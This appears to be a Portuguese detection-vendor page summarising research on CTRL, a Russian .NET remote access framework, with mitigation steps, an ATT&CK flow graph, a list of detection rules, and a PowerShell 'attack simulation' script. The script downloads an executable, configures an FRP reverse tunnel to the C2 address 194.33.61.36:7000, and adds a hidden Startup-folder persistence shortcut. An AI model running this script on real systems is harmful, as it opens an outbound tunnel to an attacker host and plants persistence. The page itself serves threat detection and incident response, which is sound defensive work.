Sob CTRL: Dissecando um Framework de Acesso .Net Russo Anteriormente Não Documentado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Censys ARC descobriu uma ferramenta de acesso remoto russa previamente não documentada, denominada CTRL, que combina phishing de credenciais, keylogging, sequestro de RDP e túneis reversos baseados em FRP. O framework é entregue através de um arquivo LNK malicioso e esconde seus binários no registro do Windows, onde são carregados diretamente na memória. Sua infraestrutura de rede inclui o domínio hui228.ru e dois endereços IP operando um servidor FRP na porta 7000. A ferramenta tem como alvo hosts Windows e mantém a persistência por meio de tarefas agendadas, contas de usuários locais ocultas e alterações baseadas no registro.
Investigação
Pesquisadores identificaram o dropper LNK, reconstruíram o carregador PowerShell em camadas e rastrearam binários .NET em fases armazenados como REG_BINARY valores abaixo das chaves de registro do Explorer. O stager então baixa cargas úteis subsequentes, cria um carregador ctrl.exe oculto, configura túneis FRP e implanta o RDP Wrapper para permitir sessões remotas irrestritas. Nenhum dos artefatos observados apareceu em feeds públicos de inteligência sobre ameaças, sugerindo que o framework é uma plataforma de acesso privada e construída para fins específicos.
Mitigação
Os defensores devem observar gravações de registro incomuns sob as chaves do Explorer, criação de tarefas agendadas chamadas DriverSvcTask, NetTcpSvc, TermSvcHost ou WindowsHealthMonitor, e contas locais ocultas adicionadas aos grupos Administradores ou Usuários da Área de Trabalho Remota. Conexões de saída para os endereços IP e porta FRP 7000 identificados devem ser bloqueadas, e o tráfego de protocolo FRP em sistemas inesperados deve ser sinalizado. Instalações não autorizadas do FRP ou RDP Wrapper devem ser removidas, e a execução do PowerShell deve ser rigidamente controlada.
Resposta
Se for encontrada atividade relacionada ao CTRL, isole o endpoint, adquira o arquivo LNK e o hive de registro relevante para análise forense, pare o processo ctrl.exe e remova as tarefas agendadas associadas. Qualquer conta local recém-criada deve ser desativada, permissões RDP não autorizadas revogadas e credenciais expostas devem ser rotacionadas. As equipes devem então escanear o ambiente mais amplo para servidores FRP adicionais e atualizar as regras de detecção com os IOCs observados.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Ação</b> – <b>T1204.002 Execução do Usuário</b>: Vítima clica em atalho malicioso .lnk"] class action_user_exec action action_lnk_smuggle["<b>Ação</b> – <b>T1027.012 Contrabando de Ícone LNK</b>: Atalho disfarça-se com ícone de pasta"] class action_lnk_smuggle action action_powershell["<b>Ação</b> – <b>T1059.001 PowerShell</b>: Comando PowerShell oculto decodifica carga útil"] class action_powershell action action_deobfuscate["<b>Ação</b> – <b>T1140 Desofuscar/Decodificar Arquivos</b>: Múltiplos estágios Base64 e Deflate"] class action_deobfuscate action action_obfuscation["<b>Ação</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b>: Nomes de variáveis randomizados e construção de strings em tempo de execução"] class action_obfuscation action action_shortcut_persistence["<b>Ação</b> – <b>T1547.009 Modificação de Atalho</b>: LNK serve como mecanismo de persistência"] class action_shortcut_persistence action action_scheduled_tasks["<b>Ação</b> – <b>T1053 Tarefa/Job Agendada</b>: Quatro tarefas criadas para executar binários na inicialização"] class action_scheduled_tasks action action_create_account["<b>Ação</b> – <b>T1136.001 Criar Conta</b>: Conta de administrador local oculta adicionada"] class action_create_account action action_uac_bypass["<b>Ação</b> – <b>T1548 Abusar do Mecanismo de Controle de Elevação</b>: Desvio de UAC por sequestro de registro fodhelper.exe"] class action_uac_bypass action action_proxy_execution["<b>Ação</b> – <b>T1218 Execução de Proxy de Binário do Sistema</b>: wlrmdr.exe usado para executar carga útil com direitos elevados"] class action_proxy_execution action action_priv_esc["<b>Ação</b> – <b>T1068 Exploração para Escalada de Privilégio</b>: patches termsrv.dll e instala RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Ação</b> – <b>T1036 Mascaramento</b>: Arquivos colocados em diretórios ocultos com nomes altamente legítimou2011"] class action_masquerade action action_hide_artifacts["<b>Ação</b> – <b>T1564 Ocultar Artefatos</b>: Exclusões de Defensor, falsificação de timestamp, imitação de registro"] class action_hide_artifacts action action_keylogging["<b>Ação</b> – <b>T1056.001 Captura de Entrada u2013 Keylogging</b>: Gancho de teclado de baixo nível escreve em C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Ação</b> – Colheita de Credenciais: IU Windows Hello personalizada captura PINs"] class action_cred_harvest action action_rdp["<b>Ação</b> – <b>T1021.001 Serviços Remotos u2013 RDP</b>: Envelopes RDP Wrapper acesso remoto a desktop"] class action_rdp action action_rdp_hijack["<b>Ação</b> – <b>T1563.002 Sequestro de Sessão de Serviço Remoto</b>: Atacante sombreia sessões ativas via mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Ação</b> – <b>T1090.002 Proxy u2013 Proxy Externo</b>: Túnel FRP para hui228.ru:7000 actua como proxy externo"] class action_frp_proxy action action_encrypted_channel["<b>Ação</b> – <b>T1573 Canal Encriptado</b>: Tráfego FRP encriptado, payload decriptação AESu2011256u2011CBC"] class action_encrypted_channel action action_valid_accounts["<b>Ação</b> – <b>T1078.003 Contas Válidas </b>: Conta de administrador oculta usada para persistência e movimento lateral"] class action_valid_accounts action action_lateral_movement["<b>Ação</b> – Movimento Lateral: Uso de contas admin locais válidas para espalhar dentro da rede"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Ferramenta</b> – Armazenado .lnk Atalho<br/><b>Arquivo</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Ferramenta</b> – PowerShell<br/><b>Propósito</b>: Executar script oculto que decodifica e descompacta stager .NET"] class tool_powershell tool process_stager["<b>Processo</b> – Stager .NET armazenado como REG_BINARY sob HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Ferramenta</b> – fodhelper.exe (utilitário Windows)"] class tool_fodhelper tool tool_wlrmdr["<b>Ferramenta</b> – wlrmdr.exe (binário assinado Microsoft)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Ferramenta</b> – RDP Wrapper<br/><b>Função</b>: Permite sessões RDP concorrentes ilimitadas"] class tool_rdpwrapper tool tool_frp["<b>Ferramenta</b> – Cliente FRP<br/><b>Função</b>: Túnel reverso para servidor externo"] class tool_frp tool keylog_file["<b>Arquivo</b> – C:Tempkeylog.txt<br/><b>Conteúdo</b>: Teclas capturadas"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|inicia| tool_lnk tool_lnk –>|desencadeia| action_lnk_smuggle action_lnk_smuggle –>|leva a| action_powershell action_powershell –>|executa| tool_powershell tool_powershell –>|armazena carga útil em| process_stager process_stager –>|decodificado por| action_deobfuscate action_deobfuscate –>|permite| action_obfuscation action_obfuscation –>|suporta| action_shortcut_persistence action_shortcut_persistence –>|cria| action_scheduled_tasks action_scheduled_tasks –>|cria| action_create_account action_create_account –>|facilita| action_uac_bypass action_uac_bypass –>|usa| tool_fodhelper action_uac_bypass –>|usa| tool_wlrmdr action_uac_bypass –>|permite| action_proxy_execution action_proxy_execution –>|facilita| action_priv_esc action_priv_esc –>|instala| tool_rdpwrapper action_priv_esc –>|permite| action_masquerade action_masquerade –>|leva a| action_hide_artifacts action_hide_artifacts –>|adiciona| action_keylogging action_keylogging –>|escreve em| keylog_file action_keylogging –>|suporta| action_cred_harvest action_cred_harvest –>|permite| action_rdp action_rdp –>|usado para| action_rdp_hijack action_rdp_hijack –>|configura| action_frp_proxy action_frp_proxy –>|fornece| action_encrypted_channel action_encrypted_channel –>|permite| action_valid_accounts action_valid_accounts –>|usado para| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
Fluxo do Ataque
Detecções
Possível Sombreamento de Serviços de Área de Trabalho Remota (via registro_event)
Visualizar
Strings de Powershell Suspeitas (via powershell)
Visualizar
Strings de Powershell Suspeitas (via linha de comando)
Visualizar
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Visualizar
Escalada de privilégio (bypass de UAC) no FodHelper (via registro_event)
Visualizar
IOCs (HashSha256) para detectar: Sob CTRL: Dissecando uma Framework de Acesso .Net Russa Previamente Não Documentada
Visualizar
IOCs (EndereçoIP de Destino) para detectar: Sob CTRL: Dissecando uma Framework de Acesso .Net Russa Previamente Não Documentada
Visualizar
IOCs (Emails) para detectar: Sob CTRL: Dissecando uma Framework de Acesso .Net Russa Previamente Não Documentada
Visualizar
IOCs (EndereçoIP de Origem) para detectar: Sob CTRL: Dissecando uma Framework de Acesso .Net Russa Previamente Não Documentada
Visualizar
Detectar Conexões Maliciosas de Tunelamento Reverso FRP [Conexão de Rede do Windows]
Visualizar
Detectar Persistência do Toolkit CTRL via Chaves de Registro do Explorer [Evento de Registro do Windows]
Visualizar
Detectar Execução de PowerShell Ofuscada com Carga Útil Codificada [PowerShell do Windows]
Visualizar
Execução da Simulação
Pré-requisito: O Cheque de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
-
Narrativa do Ataque & Comandos:
Um adversário já lançou o cliente FRP (frp.exe) no host Windows comprometido via um anexo phishing malicioso. Para manter a persistência, o atacante registra um atalho na pasta de Inicialização que lança FRP com uma configuração apontando para o servidor C2194.33.61.36:7000. Quando o usuário faz login, o atalho inicia o FRP, que abre um túnel TCP reverso de volta para o atacante, permitindo que o atacante encaminhe qualquer serviço local (por exemplo, SMB) através do túnel. A conexão de rede gerada pelo FRP coincide com a regradst_ipanddst_portcritérios, causando um alerta. -
Script de Teste de Regressão: (PowerShell – autocontido)
# ============================================================================= # Simulação de Túnel Reverso FRP – aciona regra Sigma fcb13968-1490-44c2-9f9f-c1ad2b668ce6 # ============================================================================= # Variáveis $frpUrl = "https://example.com/frp.exe" # substitua por um binário teste acessível $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. Baixar o binário FRP (simulado – use qualquer executável pequeno para teste) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. Criar configuração mínima do cliente FRP @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. Criar um atalho na pasta de Inicialização para executar o FRP na inicialização $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. Iniciar o FRP agora (para podermos ver a telemetria imediatamente) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "Túnel reverso FRP iniciado. Verifique SIEM para detecção." -
Comandos de Limpeza:
# Parar processo FRP Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # Remover arquivos e atalho Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."